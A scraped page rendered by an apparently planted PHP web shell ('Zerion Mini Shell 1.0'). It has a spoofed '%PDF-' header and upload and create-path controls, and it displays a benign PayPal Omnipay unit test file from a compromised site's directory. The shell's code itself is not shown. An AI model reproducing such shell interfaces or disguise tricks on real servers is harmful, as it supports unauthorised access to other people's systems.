%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/vebto/vendor/omnipay/paypal/tests/Message/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/vebto/vendor/omnipay/paypal/tests/Message/RestListPlanRequestTest.php

<?php

namespace Omnipay\PayPal\Message;

use Omnipay\Tests\TestCase;

class RestListPlanRequestTest extends TestCase
{
    /** @var \Omnipay\PayPal\Message\RestListPlanRequest */
    private $request;

    public function setUp()
    {
        $client = $this->getHttpClient();
        $request = $this->getHttpRequest();
        $this->request = new RestListPlanRequest($client, $request);
    }

    public function testGetData()
    {
        $data = $this->request->getData();
        $this->assertArrayHasKey('page',$data);
        $this->assertArrayHasKey('status',$data);
        $this->assertArrayHasKey('page_size',$data);
        $this->assertArrayHasKey('total_required',$data);
    }

    public function testEndpoint()
    {
        $this->assertStringEndsWith('/payments/billing-plans', $this->request->getEndpoint());
    }

}

Zerion Mini Shell 1.0